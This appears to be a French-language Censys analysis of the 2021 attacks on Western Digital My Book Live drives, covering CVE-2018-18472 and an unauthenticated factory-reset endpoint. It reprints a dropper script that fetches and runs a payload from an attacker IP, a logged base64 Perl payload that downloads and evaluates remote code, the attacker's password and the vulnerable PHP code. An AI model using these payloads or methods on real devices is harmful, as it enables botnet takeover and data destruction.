Quel est le problème ?
Mise à jour le 2 juillet @ 1:21 PM EST
Le 24 juin 2021, BleepingComputer et Ars Technica ont rapporté que les propriétaires d'appareils Western Digital My Book Live constataient que leurs partitions de stockage étaient effacées, ce qui signifie que des années de données que certains utilisateurs ont accumulées au fil du temps (vidéos et photos personnelles, etc.) ont disparu de manière inexplicable. Certains utilisateurs ont signalé que les journaux de leurs appareils indiquaient qu'une réinitialisation d'usine était en cours sur leur appareil :
Jun 23 15:51:35 MyBookLive : System ready
Jun 23 15:51:37 MyBookLive logger: WD NAS: Email alerts REST API failed to return Success
Jun 23 15:51:37 MyBookLive : Check if new firmware is available
Jun 23 15:51:38 MyBookLive logger: Starting orion services: miocrawlerd, mediacrawlerd, communicationmanagerd
Jun 23 15:53:24 MyBookLive factoryRestore.sh: begin script:
Jun 23 15:53:24 MyBookLive shutdown[7899]: shutting down for system reboot
Jun 23 16:02:26 MyBookLive S15mountDataVolume.sh: begin script: start
Jun 23 16:02:29 MyBookLive logger: hostname=MyBookLive
Le fil de discussion dans les forums de Western Digital continue de recevoir de nouveaux messages, un utilisateur mentionnant que son WD My Book Live s'est connecté à une adresse IP sur liste de blocage, que son pare-feu a heureusement atténuée. L'utilisateur a indiqué que cette adresse IP bloquée hébergeait un script shell, qui semble être un dropper, qui installe et exécute une charge utile secondaire :
#!/bin/sh
n="OFJU"
if [ $# -gt 0 ]; then
n=$@
fi
cd /tmp
for a in $n do
rm $a
curl -O http://185.153.196.30/$a 12
chmod +x $a
./$a
done
for a in $n do
rm -rf $a
done
rm $0
Étant donné le comportement signalé par les utilisateurs d'un My Book Live qui se connecte à un hôte dropper (contrôlé par l'attaquant), il semble (bien qu'il soit difficile de le confirmer sans un appareil réel) que les appareils My Book Live exposés à Internet sont exploités en masse pour rejoindre un réseau de zombies. Un utilisateur semble confirmer que c'est bien le cas, après avoir analysé la charge utile dans VirusTotal, qui a indiqué qu'elle faisait partie de la famille de logiciels malveillants Linux.Ngioweb. Les informations WHOIS de l'adresse IP distante hébergeant la charge utile malveillante (185.153.196.30) indiquent que l'hôte réside en République de Moldavie. Une recherche d'enregistrements DNS inversés (PTR) indique que l'hôte fait partie de "ClouDedic", un fournisseur présumé de services en nuage :
Le site web du fournisseur de services en nuage lui-même possède un certificat qui a expiré le 26 mars 2021. Il se peut que cette adresse IP ne soit pas la seule utilisée pour déposer la charge utile, mais Censys n'a pas connaissance d'autres adresses IP à l'heure actuelle.
Si l'on se réfère aux messages du forum et à l'annonce de Western Digital, il semble que le ou les auteurs tirent parti de la vulnérabilité CVE-2018-18472. Dans son communiqué, Western Digital fait référence à cette vulnérabilité et invite les utilisateurs de My Book Live à déconnecter leur appareil d'Internet. Cette vulnérabilité a été signalée pour la première fois par WizCase en 2018 par l'intermédiaire des chercheurs Paulos Yibelo et Daniel Eshetu (cependant, une publication secondaire du rapport de recherche de WizCase fournit de meilleurs détails - il est possible que WizCase ait modifié l'exploit dans son article original pour empêcher une exploitation massive après que l'article a déjà été capturé par d'autres organisations). La vulnérabilité permet l'exécution d'une commande à distance non authentifiée via une simple requête PUT au point de terminaison /api/1.0/rest/language_configuration.
Ce problème est similaire aux événements d'exploitation massive du passé, tels que les vulnérabilités d'Apache Struts. Ces scénarios impliquent généralement deux services contrôlés par l'attaquant et un serveur victime :
L'exploit initialement envoyé au My Book Live victime demande à la victime de télécharger un script contrôlé par l'attaquant à partir d'un serveur contrôlé par l'attaquant, et de l'exécuter. Le script installe et exécute ensuite une charge utile, ce qui amène le serveur de la victime (dans ce cas, un My Book Live) à rejoindre le réseau de zombies. Cette technique est couramment utilisée par les robots Internet qui tirent parti des vulnérabilités liées à l'injection de commandes, car les scripts plus complexes ne peuvent pas être facilement créés en une seule ligne, ou il peut y avoir des limitations de charge utile, comme une longueur fixe d'un champ particulier, d'un corps de requête ou d'un en-tête. L'image ci-dessus montre ce scénario testé, avec un PoC démontrant que My Book Live se connecte à un faux serveur "contrôlé par un attaquant" et révèle sa chaîne d'agent utilisateur unique qui contient l'architecture de sa plateforme (powerpc). Dans un scénario réel, il y a une étape supplémentaire où le serveur contrôlé par l'attaquant envoie un script qui retourne au My Book Live, qui l'exécute (sur la base de la charge utile envoyée initialement, qui tenterait en outre d'évaluer le résultat du cURL et non pas simplement de faire une demande).
L'exécution de l'exploit de point de terminaison language_configuration après qu'un appareil ait été détenu par l'un des acteurs de la menace entraîne des problèmes, car l'acteur de la menace a protégé le RCE par un mot de passe dans le cas où l'appareil a été relié à un réseau de zombies. Cela empêche d'autres acteurs de prendre le contrôle de l'appareil à partir du réseau de zombies, sans connaître le mot de passe qui correspond au hachage sha1 05951edd7f05318019c4cfafab8e567afe7936d4. Il est intéressant de noter qu'il existe une autre variante de ce même bloc de code, dans une partie légèrement différente de language_configuration.php, avec un hash différent : 56f650e16801d38f47bb0eeac39e21a8142d7da1. C'est surtout intéressant parce que les deux blocs de code se ressemblent, mais avec des hachages différents, ce qui implique qu'ils proviennent probablement du même attaquant, qui a fait évoluer son exploit au fil du temps. Censys a également observé une modification similaire d'un fichier (gestionnaire d'erreurs PHP) nommé accessDenied.php, bien que dans ce cas, un shell web soit ajouté directement au fichier, alors qu'aucune vulnérabilité n'était présente auparavant. La modification de accessDenied.php ressemble à la modification de language_configuration.php :
function put($urlPath, $queryParams=null, $ouputFormat='xml'){
if(!isset($changes["submit"]) || sha1($changes["submit"]) != "05951edd7f05318019c4cfafab8e567afe7936d4")
{
die();
}
En allant un peu plus loin, grâce aux fichiers journaux récupérés de l'appareil et rapportés dans une récente mise à jour d'Ars Technica, le hash 05951edd7f05318019c4cfafab8e567afe7936d4 correspond au mot de passe p$EFx3tQWoUbFc%B%R$k@. Il semblerait que l'attaquant ne savait pas que son mot de passe serait enregistré en clair, ce qui le rendrait facile à récupérer par toute personne utilisant un appareil My Book Live ou émulant un tel appareil (un pot de miel). Il est probable qu'avec le temps, nous verrons apparaître d'autres mots de passe, au fur et à mesure que d'autres fichiers journaux seront récupérés.
Plus intéressant encore, le fichier journal contenait l'exploit exact envoyé à un My Book Live, confirmant le processus décrit ci-dessus :
May 9 09:00:04 MyBookLive REST_API[19838]: 192.139.120.28 PARAMETER Language_configuration PUT : language = en_US"); echo dXNlIHN0cmljdDsgdXNlIFNvY2tldDsgIHNvY2tldChTT0NLRVQsUEZfSU5FVCxTT0NLX1NUUkVBTSwoZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKVsyXSkgb3IgZXhpdCAxOyBjb25uZWN0KFNPQ0tFVCxwYWNrX3NvY2thZGRyX2luKDExMjgsIGluZXRfYXRvbigiMTkyLjEzOS4xMjAuMjgiKSkpIG9yIGV4aXQgMTsgc2VuZChTT0NLRVQsIlJFUTo2TUJJY0k3bHRHSzduTklmIiwwKTsgbXkgJGxpbmU7IG15ICRjb2RlOyB3aGlsZSAoJGxpbmUgPSA8U09DS0VUPikgeyAgICAgJGNvZGUgPSBqb2luICcnLCRjb2RlLCRsaW5lOyB9IGV2YWwgJGNvZGU7IGlmKCRAKSB7ICAgICBjbG9zZSBTT0NLRVQgb3IgZXhpdCAxOyAgICAgc29ja2V0KFNPQ0tFVCxQRl9JTkVULFNPQ0tfU1RSRUFNLChnZXRwcm90b2J5bmFtZSgndGNwJykpWzJdKSBvciBleGl0IDE7ICAgICBjb25uZWN0KFNPQ0tFVCxwYWNrX3NvY2thZGRyX2luKDExMjgsIGluZXRfYXRvbigiMTkyLjEzOS4xMjAuMjgiKSkpIG9yIGV4aXQgMTsgICAgIHNlbmQoU09DS0VULCJFUlI6JEAiLDApOyAgICAgY2xvc2UgU09DS0VUOyB9IGV4aXQgMDs= | base64 -d | sudo perl >/dev/null 2>/dev/null & exit 0; #
La charge utile est livrée sous la forme d'une chaîne base64, décodée, et acheminée vers perl pour être exécutée. Il s'agit d'une technique assez courante pour livrer une charge utile complexe. Il suffit de décoder la charge utile encodée en base64 pour savoir exactement quel code a été exécuté :
use strict;
use Socket;
socket( SOCKET, PF_INET, SOCK_STREAM, ( getprotobyname('tcp') )[2] ) or exit 1;
connect( SOCKET, pack_sockaddr_in( 1128, inet_aton("192.139.120.28") ) ) or exit 1;
send( SOCKET, "REQ:6MBIcI7ltGK7nNIf", 0 );
my $line;
my $code;
while ( $line = <SOCKET>) { $code = join '', $code, $line; }
eval $code;
if ($@) {
close SOCKET or exit 1;
socket( SOCKET, PF_INET, SOCK_STREAM, ( getprotobyname('tcp') )[2] ) or exit 1;
connect( SOCKET, pack_sockaddr_in( 1128, inet_aton("192.139.120.28") ) ) or exit 1;
send( SOCKET, "ERR:$@", 0 );
close SOCKET;
}
exit 0;
Ce code semble se connecter à 192.139.120.28 sur le port 1128 (un serveur de charge utile) et envoie ce qui semble être un mot de passe. Le serveur est censé répondre avec du code supplémentaire, que ce script perl exécute ensuite. Le 29 juin 2021, ce serveur ne répondait plus sur ce port. L'adresse IP est associée à morewave.com, un fournisseur d'accès du Canada.
Toutefois, cela n'explique pas pourquoi des utilisateurs ont déclaré que leurs partitions avaient été effacées, ni pourquoi les journaux font état de l'exécution de factoryRestore.sh sur les appareils des utilisateurs. Bien que ces attaquants aient certainement eu accès à une restauration d'usine, ils n'avaient guère de raison de le faire, car cela aurait interrompu leurs opérations. Censys a désassemblé le dernier micrologiciel disponible de Western Digital pour My Book Live afin de voir le système de fichiers de ces appareils. Il semble qu'il y ait une vulnérabilité non authentifiée de type "zero-day" avec un point de terminaison nommé system_factory_restore. Ce point de terminaison PHP REST a un code d'authentification commenté (désactivé) en haut (oui, c'est dans le dernier firmware de livraison, qui date de 2015, car ces appareils ne sont plus pris en charge par Western Digital). Une simple requête POST vers le point de terminaison system_factory_restore déclencherait le processus de restauration d'usine, la ligne contenant sysRestoreObj->restore($changes) déclenchant finalement le script factoryRestore.sh référencé dans les forums de Western Digital :
function post($urlPath, $queryParams=null, $ouputFormat='xml'){
// if(!authenticateAsOwner($queryParams))
// {
// header("HTTP/1.0 401 Unauthorized");
// return;
// }
parse_str(file_get_contents("php://input"), $changes);
$this->logObj->LogParameters(get_class($this), __FUNCTION__, $changes);
$sysRestoreObj = new SystemFactoryRestore();
$result = $sysRestoreObj->restore($changes);
switch($result){
case 'SUCCESS':
header("HTTP/1.0 201 Created");
break;
case 'BAD_REQUEST':
header("HTTP/1.0 400 Bad Request");
break;
case 'SERVER_ERROR':
default:
header("HTTP/1.0 500 Internal Server Error");
break;
}
$this->logObj->LogData('OUTPUT', get_class($this), __FUNCTION__, $result);
}
En collaboration avec Dan Goodin d'Ars Technica, qui a pu récupérer un fichier journal d'un appareil touché, nous avons découvert des preuves de l'exploitation continue de ce problème dans l'un des fichiers journaux mentionnés ci-dessus :
Jun 16 07:28:41 MyBookLive REST_API[28538]: 23.154.177.131 PARAMETER System_factory_restore POST : erase = format
Jun 16 07:28:42 MyBookLive REST_API[28538]: 23.154.177.131 OUTPUT System_factory_restore POST SUCCESS
Deux adresses IP différentes vérifient de la même manière l'état de la restauration d'usine à l'aide d'une requête GET quelque temps plus tard (probablement le même acteur, car ces adresses IP sont toutes deux des nœuds de sortie TOR). Cette requête GET ne modifie pas le dispositif, et vérifie simplement l'état d'un POST précédemment émis vers le même point de terminaison (qui invoque la restauration d'usine). Cependant, elle doit toujours être protégée par une authentification :
Jun 16 07:30:20 MyBookLive REST_API[28538]: 185.220.102.250 OUTPUT System_factory_restore GET SUCCESS
...
Jun 16 08:15:00 MyBookLive REST_API[25173]: 162.247.74.27 OUTPUT System_factory_restore GET SUCCESS
Le motif de l'envoi massif de POST à ce point de terminaison est inconnu, mais il pourrait s'agir d'une tentative d'un opérateur de botnet rival de prendre le contrôle de ces appareils ou de les rendre inutilisables (il est probable que le nom d'utilisateur et le mot de passe soient réinitialisés à leur valeur par défaut d'admin/admin, ce qui permettrait à un autre attaquant de prendre le contrôle), ou d'une personne souhaitant perturber le botnet qui existe probablement depuis un certain temps, étant donné que ces problèmes existent depuis 2015.
À l'heure où nous écrivons ces lignes, Censys peut voir 55 348 appareils WD My Book Live sur l'internet, sur la base de leurs certificats exposés publiquement. Cela nous donne une idée de l'impact de ce problème sur la cybersécurité mondiale. Les États-Unis présentent la plus forte concentration d'hôtes exposés, avec un peu moins de 30 %.
Curieusement, un nombre croissant d'appareils correspondant au certificat Western Digital dans la recherche Censys présentaient un peu plus tard un certificat générique debian_lenny. Après une analyse plus approfondie, l'image de l'appareil WD My Book Live contient le texte "Debian GNU/Linux 5.0" dans /etc/issue, ce qui correspond à Debian Lenny. En creusant un peu, nous pouvons trouver ce certificat sur l'appareil lui-même et extraire son empreinte digitale, ce qui confirme qu'il est bien intégré à l'image de l'appareil :
/var/www/Admin/webapp# openssl x509 -in config/server.crt -noout -fingerprint -sha256
SHA256 Fingerprint=8D:FC:DD:A8:3D:FC:CB:8E:84:41:EA:E9:9F:6F:EF:C8:67:40:CE:11:CA:25:9A:16:DF:F2:92:9E:87:E3:D8:01
Par conséquent, il est très probable que l'augmentation du nombre de certificats debian_lenny avec cette empreinte sha256 implique une compromission (au moins par le biais d'une réinitialisation d'usine) lorsque l'on mesure les hôtes présentant le certificat sur Internet au fil du temps (l'appareil semble obtenir un certificat signé par Western Digital après la configuration initiale en communiquant avec un serveur central de Western Digital à wd2go.com). Puisque tous les certificats debian_lenny ont exactement la même empreinte, nous pouvons pivoter sur l'empreinte du certificat debian_lenny et trouver tous les appareils qui ont cette empreinte. Censys a observé 13 096 appareils présentant ce hachage à l'heure où nous écrivons ces lignes, contre 437 seulement 24 heures auparavant. Cela peut être un bon indicateur du succès/de l'impact de cette attaque. Censys continuera à surveiller la progression du botnet au fur et à mesure que notre moteur de balayage découvrira de nouveaux hôtes présentant le certificat debian_lenny. Nous pouvons également déterminer la répartition des hôtes probablement compromis en utilisant la fonction de rapport de la recherche Censys . Dans ce cas, les États-Unis présentent les dispositifs les plus susceptibles d'être compromis, avec un peu moins de 50 %.
Enfin, la comparaison entre le nouveau firmware My Cloud de Western Digital et le firmware My Book Live révèle que chaque appareil a un code similaire (en termes de fonction), mais des bases de code complètement distinctes, le premier semblant beaucoup plus propre et mieux conçu que le second (par exemple, les fichiers PHP de My Book Live contenaient de nombreux blocs d'authentification copiés/collés, ce qui est un anti-modèle qui conduit généralement à des failles de sécurité, alors que le firmware My Cloud utilisait une conception plus moderne basée sur l'héritage qui rend difficile pour le code en aval de "réinventer" l'authentification et d'introduire une erreur).
Pourquoi est-ce important ?
Les utilisateurs à domicile disposant d'un My Book Live exposé à l'internet voient toutes leurs données disparaître ou participent sans le savoir à un réseau de zombies. En outre, depuis la pandémie de COVID, de nombreux particuliers ont décidé d'utiliser leur réseau domestique, car les bureaux des entreprises ont fermé et les employés ont commencé à travailler à domicile. Le travail à distance est devenu plus tangible, mais il n'est pas sans inconvénients du point de vue de la cybersécurité. Les entreprises dont les employés travaillent à domicile et possèdent un My Book Live de Western Digital peuvent être exposées à des risques en raison de ce problème, puisqu'une compromission de l'appareil My Book Live implique probablement un risque pour les appareils connectés ou reliés au même réseau que l'appareil, tels que les ordinateurs portables de l'entreprise et d'autres équipements informatiques.
Mises à jour
2021-06-26 8AM PT : Clarification du hachage de l'empreinte du certificat que les appareils présentent, et qu'il peut y avoir plusieurs attaquants simultanés. Censys a également vu le nombre d'appareils exposés passer de 55 348 à 46 487 (-8 861) présentant le certificat Western Digital. Parallèlement, le nombre d'hôtes présentant le certificat debian_lenny avec l'empreinte 8dfcdda83dfccb8e8441eae99f6fefc86740ce11ca259a16dff2929e87e3d801 est passé de 13 096 à 18 627 (+5 531). Cela signifie qu'environ 62 % des appareils vus par Censys depuis la rédaction de ce billet de blog il y a environ 12 heures ont probablement été compromis, les autres ayant peut-être été mis hors ligne par leurs propriétaires (ils ont pu être manqués par Censys, bien que cela soit peu probable en raison de notre approche multi-sondes/transit de l'analyse Internet pour éviter les problèmes de routage transitoires).
2021-06-28 8AM PT : Ajout d'une mise à jour concernant le code d'authentification commenté dans system_factory_restore ; ajout de mises à jour concernant les découvertes du firmware My Book Live ; une mise à jour concernant le contrôle de l'attaquant par le mot de passe protégeant le RCE a également été ajoutée. Le nombre d'hôtes présentant le certificat My Book Live est passé à 41 292 (-5 195 par rapport à la dernière mise à jour), tandis que 17 460 présentent le certificat par défaut debian_lenny (-1 167 par rapport à la dernière mise à jour). Avec des baisses simultanées sur les deux appareils présentant le certificat Western Digital et le certificat par défaut "debian_lenny", il semble que le problème ait sensibilisé les propriétaires d'appareils, qui pourraient les mettre hors ligne. Les chiffres d'origine n'ont pas été modifiés dans l'article afin de suivre l'évolution du problème.
2021-06-29 7AM PT : Ajout d'informations sur la découverte de la charge utile envoyée aux appareils My Book Live par l'intermédiaire de Dan Goodin chez Ars Technica ; ajout d'une analyse du code de la charge utile et du point de terminaison auquel elle s'adressait. Les appareils affichant le certificat Western Digital sont actuellement au nombre de 38 027 (-3 265). Les appareils affichant le certificat par défaut debian_lenny sont au nombre de 13 530 (-3 930). Censys estime la taille totale des appareils compromis aux deux ensembles (51 557), car il est peu probable à ce stade qu'aucun My Book Live connecté à l'internet n'ait été exploité.
2021-07-01 9:30A PT : À ce jour, 36 954 appareils présentent le certificat Western Digital (-1 073), tandis que 11 156 présentent le certificat debian_lenny (-2 374).
2021-07-02 10:18A PT: À ce jour, 36 004 appareils présentent le certificat Western Digital (-950), tandis que 9 782 présentent le certificat debian_lenny (-1 374).
2021-07-05 4:11P PT : À ce jour, 35 139 appareils présentent le certificat Western Digital (-865), tandis que 8 374 présentent le certificat debian_lenny (-1 408).
Que dois-je faire ?
- Supprimez tout appareil My Book Live de votre réseau
- Veillez à ce que les ressources de votre entreprise (ordinateurs portables, etc.) utilisées sur les sites des particuliers soient renforcées.
- Censys ASM peut vous aider à découvrir tout périphérique Western Digital My Book Live susceptible d'être compromis dans votre surface d'attaque en filtrant sur l'empreinte digitale du certificat ci-dessus.
- Désactiver UPnP sur votre réseau domestique (ces appareils ouvraient des ports pour l'administration à distance à l'aide d'UPnP).
- Affichez les ports et les services que vous avez exposés sur votre réseau domestique ou professionnel à l'aide de https://me.censys.io. Désactivez tout service que vous ne reconnaissez pas.
Ressources
